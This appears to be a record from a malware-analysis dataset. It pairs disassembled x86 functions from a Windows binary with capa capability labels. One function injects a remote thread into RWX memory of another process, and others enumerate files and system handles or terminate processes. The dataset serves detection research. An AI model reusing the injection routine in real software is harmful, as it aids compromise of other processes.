joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e8ac8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4e8bb1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.004049e4
mov eax, dword [ebp - 4]
call fcn.00404ca4
test eax, eax
jle 0x4e8b76
mov dword [ebp - 0xc], eax
mov esi, 1
call fcn.00402c30
mov edx, 0xa
xor eax, eax
call fcn.0042ea5c
mov ebx, eax
lea edi, [esi + ebx]
mov eax, dword [ebp - 8]
push dword [eax]
lea eax, [ebp - 0x10]
mov edx, ebx
mov ecx, edi
add dl, cl
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + esi - 1]
call fcn.00404bcc
push dword [ebp - 0x10]
lea edx, [ebp - 0x14]
mov eax, ebx
call fcn.004e8890
push dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
mov eax, ebx
xor eax, edi
mov edx, 2
call fcn.004092cc
push dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov edx, 4
call fcn.00404d64
inc esi
dec dword [ebp - 0xc]
jne 0x4e8b0f
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.004e8974
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
call fcn.00404cac
mov eax, dword [ebp - 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e8bb8
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00404a08
lea eax, [ebp - 4]
call fcn.004049e4
ret

Function at 0x4ea8d0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x4ea8d9
mov eax, dword [ebp - 4]
add esp, 0xfffffebc
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4ea9b4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4ff594]
mov byte [eax], 0
mov dword [ebx], 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.00402f90
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00403404
call fcn.00402a58
test eax, eax
jne 0x4ea991
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x10145]
mov ecx, 0xfff1
lea eax, [ebp - 0x154]
call fcn.004030ec
mov dx, word [ebp - 8]
test dx, dx
jbe 0x4ea98b
lea eax, [ebp - 0x10145]
xor ecx, ecx
mov cl, byte [eax]
mov esi, dword [ebx]
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0x4feaec]
mov esi, dword [ebx]
shr esi, 8
xor ecx, esi
mov dword [ebx], ecx
inc eax
dec dx
jne 0x4ea967
cmp dword [ebp - 8], 0
jne 0x4ea93e
lea eax, [ebp - 0x154]
call fcn.0040310c
not dword [ebx]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ea9bb
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4eb4d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4eb54f
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x41
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404bcc
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, 0x4eb564
call fcn.00404cf0
mov eax, dword [ebp - 4]
call fcn.00404ea4
push eax
call sub.kernel32.dll_GetDriveTypeA
test eax, eax
je 0x4eb52e
cmp eax, 1
je 0x4eb52e
cmp eax, 3
jne 0x4eb52e
mov eax, dword [esi]
mov edx, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
cmp ebx, 0x5b
jne 0x4eb4ee
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4eb556
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404a08
ret
Function at 0x4ebb28
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe9c
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4ebd11
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4ebcd5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x418638]
call fcn.00403ba0
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00402970
call fcn.00402934
lea eax, [ebp - 0x150]
push eax
push 0x4ebd24
call sub.kernel32.dll_FindFirstFileA_1
mov esi, eax
cmp esi, 0xffffffff
je 0x4ebc19
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00404c54
lea eax, [ebp - 0x154]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404cf0
mov eax, dword [ebp - 0x154]
call fcn.004096f0
test al, al
je 0x4ebc02
lea eax, [ebp - 0x158]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404cf0
mov edx, dword [ebp - 0x158]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x150]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4ebbb1
push esi
call sub.kernel32.dll_FindClose_1
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4ebcc0
inc eax
mov dword [ebp - 0x10], eax
xor esi, esi
lea ecx, [ebp - 0x15c]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x15c]
call fcn.004eb478
cmp edx, 0
jne 0x4ebc5d
cmp eax, 0x172216b0
jbe 0x4ebcb6
jmp 0x4ebc5f
jle 0x4ebcb6
lea ecx, [ebp - 0x160]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x160]
call fcn.004eb478
cmp edx, 0
jne 0x4ebc87
cmp eax, 0x172239d8
jae 0x4ebcb6
jmp 0x4ebc89
jge 0x4ebcb6
mov byte [ebp - 5], 1
lea ecx, [ebp - 0x164]
mov edx, esi
mov eax, ebx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x164]
mov eax, 0x503498
call fcn.00404a38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4ebce3
inc esi
dec dword [ebp - 0x10]
jne 0x4ebc35
mov eax, ebx
call fcn.00403bd0
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4ebce3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ebd18
lea eax, [ebp - 0x164]
mov edx, 5
call fcn.00404a08
lea eax, [ebp - 0xc]
call fcn.004049e4
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4ebde4
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x4ebf5e
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.004b8230
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.004b8250
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4ebf2a
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00409a48
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408d00
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408d00
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404df0
je 0x4ebf04
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00408d00
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00408d00
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404df0
jne 0x4ebf1b
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.004b8270
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4ebe65
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ebf65
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404a08
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4ec440
Capabilities:
Copy file
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1d8], ecx
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x1d0], ecx
xor eax, eax
push ebp
push 0x4ec6d4
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4ec4f7
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x4ec6ec
lea eax, [ebp - 0x1cc]
call fcn.00402f90
lea eax, [ebp - 0x1cc]
call fcn.00402d20
call fcn.00402934
lea ecx, [ebp - 0x1d0]
mov eax, dword [0x5034f0]
mov eax, dword [eax + 0x23c]
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d0]
lea eax, [ebp - 0x1cc]
call fcn.00405094
call fcn.0040304c
call fcn.00402934
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4ec501
xor eax, eax
push ebp
push 0x4ec6ac
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5034f0]
mov eax, dword [eax + 0x23c]
mov edx, dword [eax]
call dword [edx + 0x10]
test eax, eax
jle 0x4ec5bb
xor eax, eax
push ebp
push 0x4ec5b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5034f0]
mov eax, dword [eax + 0x23c]
mov edx, dword [eax]
call dword [edx + 0x10]
mov esi, eax
test esi, esi
jle 0x4ec5a7
mov ebx, 1
lea eax, [ebp - 0x1cc]
call fcn.00402d2c
call fcn.00402934
lea eax, [ebp - 0x1cc]
call fcn.00403684
call fcn.00402934
lea ecx, [ebp - 0x1d4]
mov eax, dword [0x5034f0]
mov eax, dword [eax + 0x23c]
mov edx, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x1d4]
lea eax, [ebp - 0x1cc]
call fcn.00405094
call fcn.0040304c
call fcn.00402934
inc ebx
dec esi
jne 0x4ec550
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4ec5bb
lea eax, [ebp - 0x1cc]
call fcn.0040310c
call fcn.00402934
call fcn.00402c30
mov edx, 0x270f
mov eax, 0x1a0a
call fcn.0042ea5c
mov ebx, eax
lea edx, [ebp - 0x1dc]
mov eax, ebx
call fcn.004091b8
mov ecx, dword [ebp - 0x1dc]
lea eax, [ebp - 0x1d8]
mov edx, 0x4ec6fc
call fcn.00404cf0
mov eax, dword [ebp - 0x1d8]
call fcn.00404ea4
push eax
push 0x4ec71c
call sub.kernel32.dll_MoveFileA
push 0
push 0x4ec6fc
lea edx, [ebp - 0x1e4]
mov eax, ebx
call fcn.004091b8
push dword [ebp - 0x1e4]
push 0x4ec744
lea eax, [ebp - 0x1e0]
mov edx, 3
call fcn.00404d64
mov eax, dword [ebp - 0x1e0]
call fcn.00404ea4
push eax
push 0x4ec74c
call sub.kernel32.dll_CopyFileA
push 0x4ec71c
lea edx, [ebp - 0x1ec]
mov eax, ebx
call fcn.004091b8
mov ecx, dword [ebp - 0x1ec]
lea eax, [ebp - 0x1e8]
mov edx, 0x4ec6fc
call fcn.00404cf0
mov eax, dword [ebp - 0x1e8]
call fcn.00404ea4
push eax
call sub.kernel32.dll_MoveFileA
mov eax, 0x4ec75c
call fcn.00409928
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4ec6b6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ec6db
lea eax, [ebp - 0x1ec]
mov edx, 8
call fcn.00404a08
ret
Function at 0x4f208c
Capabilities:
Get disk information
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffce0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x318], ecx
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x314], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4f224a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004049e4
lea eax, [ebp - 0x20a]
xor ecx, ecx
mov edx, 0x202
call fcn.00403274
push 0
push 1
push 0
push 2
push 0
push ebx
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4f2224
push 1
push 0
push 0
push 4
push ebx
call sub.kernel32.dll_MapViewOfFile
mov edi, eax
test edi, edi
je 0x4f221e
push 0x104
call sub.kernel32.dll_GetCurrentProcess
lea ecx, [ebp - 0x20a]
mov edx, edi
call fcn.004b7f4c
test eax, eax
je 0x4f2218
lea edx, [ebp - 8]
lea eax, [ebp - 0x20a]
call fcn.00409de4
lea eax, [ebp - 0x20a]
push eax
push 0x1ff
call sub.kernel32.dll_GetLogicalDriveStringsA
test eax, eax
je 0x4f2218
lea esi, [ebp - 0x20a]
add esi, 2
mov byte [esi], 0
sub esi, 2
lea eax, [ebp - 0x30e]
xor ecx, ecx
mov edx, 0x104
call fcn.00403274
push 0x104
lea eax, [ebp - 0x30e]
push eax
push esi
call sub.kernel32.dll_QueryDosDeviceA
test eax, eax
je 0x4f220c
lea eax, [ebp - 0x314]
lea edx, [ebp - 0x30e]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x314]
mov edx, dword [ebp - 8]
call fcn.0040db30
test eax, eax
je 0x4f220c
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x31c]
lea edx, [ebp - 0x30e]
mov ecx, 0x104
call fcn.00404c54
mov edx, dword [ebp - 0x31c]
xor ecx, ecx
mov eax, dword [ebp - 8]
call fcn.00434cc0
mov eax, dword [ebp - 0x318]
push eax
lea eax, [ebp - 0x320]
mov edx, esi
call fcn.00404bdc
mov edx, dword [ebp - 0x320]
mov eax, dword [ebp - 4]
pop ecx
call fcn.00404cf0
jmp 0x4f2224
add esi, 4
cmp byte [esi], 0
jne 0x4f2161
push edi
call sub.kernel32.dll_UnmapViewOfFile
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f2251
lea eax, [ebp - 0x320]
mov edx, 4
call fcn.00404a08
lea eax, [ebp - 8]
call fcn.004049e4
ret
Function at 0x4f2280
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, 0x4f2258
sub esi, 0x4f225c
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x4f231f
push 0x4f2328
call sub.kernel32.dll_GetModuleHandleA_2
mov ebp, eax
push 0x4f2338
push ebp
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
push 4
push 0x1000
push 8
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [esp + 4]
push eax
push 8
lea eax, [esp + 0x10]
push eax
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x1000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov ebp, eax
lea eax, [esp + 4]
push eax
push esi
push 0x4f225c
push ebp
push ebx
call sub.kernel32.dll_WriteProcessMemory
push esp
push 0
push edi
push ebp
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4f23ec
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push ebx
push esi
push ecx
mov ebx, 0x400
push 4
push 0x3000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
push esp
push ebx
push esi
push 0x10
call sub.ntdll.dll_NtQuerySystemInformation
push 0x8000
push ebx
push esi
call sub.kernel32.dll_VirtualFree_1
mov ebx, dword [esp]
push 4
push 0x3000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
push esp
push ebx
push esi
push 0x10
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
jne 0x4f2441
mov eax, esi
jmp 0x4f2443
xor eax, eax
pop edx
pop esi
pop ebx
ret
Function at 0x4f2448
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x4f2450
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4f260a
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004f23ec
mov esi, eax
test esi, esi
je 0x4f25df
mov edi, dword [esi]
test edi, edi
jl 0x4f25df
inc edi
xor ebx, ebx
mov eax, dword [0x4ff480]
mov eax, dword [eax]
call fcn.00479204
mov eax, ebx
add eax, eax
cmp byte [esi + eax*8 + 8], 0x1c
jne 0x4f25d7
mov eax, ebx
add eax, eax
mov eax, dword [esi + eax*8 + 4]
push eax
push 0
push 0x7a
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x18]
call fcn.004092a4
mov eax, dword [ebp - 0x18]
call fcn.00404ea4
push eax
call sub.kernel32.dll_OutputDebugStringA
cmp dword [ebp - 8], 0
jbe 0x4f25d7
push 2
push 0
push 0
lea eax, [ebp - 0xc]
push eax
call sub.kernel32.dll_GetCurrentProcess
push eax
mov eax, ebx
add eax, eax
movzx eax, word [esi + eax*8 + 0xa]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_DuplicateHandle
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004f208c
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
call fcn.00408d3c
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.00404fe8
test eax, eax
jle 0x4f25c5
mov eax, dword [0x503504]
mov eax, dword [eax + 0x30c]
mov eax, dword [eax + 0x22c]
call fcn.00444764
mov dword [ebp - 0x14], eax
mov eax, ebx
add eax, eax
mov eax, dword [esi + eax*8 + 4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.004092a4
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
call fcn.00444204
lea edx, [ebp - 0x24]
mov eax, ebx
add eax, eax
mov eax, dword [esi + eax*8 + 4]
call fcn.004f2344
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x28]
mov eax, ebx
add eax, eax
movzx eax, word [esi + eax*8 + 0xa]
call fcn.004091b8
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [ebp - 0xc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x2c]
call fcn.004092a4
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
inc ebx
dec edi
jne 0x4f2490
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f2611
lea eax, [ebp - 0x2c]
mov edx, 6
call fcn.00404a08
lea eax, [ebp - 0x10]
call fcn.004049e4
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4f2b94
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4f2c62
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.004049e4
xor ebx, ebx
mov eax, dword [ebp - 4]
call fcn.00404ca4
mov esi, eax
sar esi, 1
jns 0x4f2bd6
adc esi, 0
test esi, esi
jle 0x4f2c3f
mov dword [ebp - 8], 1
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
add edx, edx
dec edx
mov ecx, 2
mov eax, dword [ebp - 4]
call fcn.00404f04
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
mov edx, 0x4f2c78
call fcn.00404cf0
mov eax, dword [ebp - 0x10]
call fcn.00409324
mov edx, eax
mov al, byte [ebx + 0x4fef00]
xor dl, al
lea eax, [ebp - 0xc]
call fcn.00404bcc
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.00404cac
lea eax, [ebx + 1]
mov ecx, 0xa
cdq
idiv ecx
mov ebx, edx
inc dword [ebp - 8]
dec esi
jne 0x4f2be1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f2c69
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00404a08
lea eax, [ebp - 4]
call fcn.004049e4
ret

Function at 0x4f2c7c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4f2cd2
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x4f2cbb
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_TerminateProcess
test eax, eax
je 0x4f2cbb
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f2cd9
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
ret

Function at 0x4f2d80
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4f2dff
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x41
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404bcc
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, 0x4f2e14
call fcn.00404cf0
mov eax, dword [ebp - 4]
call fcn.00404ea4
push eax
call sub.kernel32.dll_GetDriveTypeA
test eax, eax
je 0x4f2dde
cmp eax, 1
je 0x4f2dde
cmp eax, 3
jne 0x4f2dde
mov eax, dword [esi]
mov edx, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
cmp ebx, 0x5b
jne 0x4f2d9e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f2e06
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404a08
ret
Function at 0x4f3c18
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x150], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4f3e20
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4f3de4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x503558]
mov edx, dword [eax]
call dword [edx + 0xd8]
mov eax, dword [ebp - 4]
call fcn.00402970
call fcn.00402934
lea eax, [ebp - 0x14c]
push eax
push 0x4f3e34
call sub.kernel32.dll_FindFirstFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4f3d11
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.00404c54
lea eax, [ebp - 0x150]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404cf0
mov eax, dword [ebp - 0x150]
call fcn.004096f0
test al, al
je 0x4f3cfa
lea eax, [ebp - 0x154]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404cf0
mov edx, dword [ebp - 0x154]
mov eax, dword [0x503558]
mov eax, dword [eax + 0x218]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x14c]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4f3ca0
push ebx
call sub.kernel32.dll_FindClose_1
mov eax, dword [0x503558]
mov edx, dword [eax]
call dword [edx + 0xc8]
mov esi, eax
dec esi
test esi, esi
jl 0x4f3dd6
inc esi
xor ebx, ebx
lea ecx, [ebp - 0x158]
mov eax, dword [0x503558]
mov eax, dword [eax + 0x218]
mov edx, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x158]
call fcn.004f26d4
cmp edx, 0
jne 0x4f3d63
cmp eax, 0x25435650
jbe 0x4f3dce
jmp 0x4f3d65
jle 0x4f3dce
lea ecx, [ebp - 0x15c]
mov eax, dword [0x503558]
mov eax, dword [eax + 0x218]
mov edx, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x15c]
call fcn.004f26d4
cmp edx, 0
jne 0x4f3d96
cmp eax, 0x25437d60
jae 0x4f3dce
jmp 0x4f3d98
jge 0x4f3dce
mov byte [ebp - 5], 1
lea ecx, [ebp - 0x160]
mov eax, dword [0x503558]
mov eax, dword [eax + 0x218]
mov edx, ebx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x160]
mov eax, 0x503520
call fcn.00404a38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4f3df2
inc ebx
dec esi
jne 0x4f3d32
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4f3df2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f3e27
lea eax, [ebp - 0x160]
mov edx, 5
call fcn.00404a08
lea eax, [ebp - 0xc]
call fcn.004049e4
lea eax, [ebp - 4]
call fcn.004049e4
ret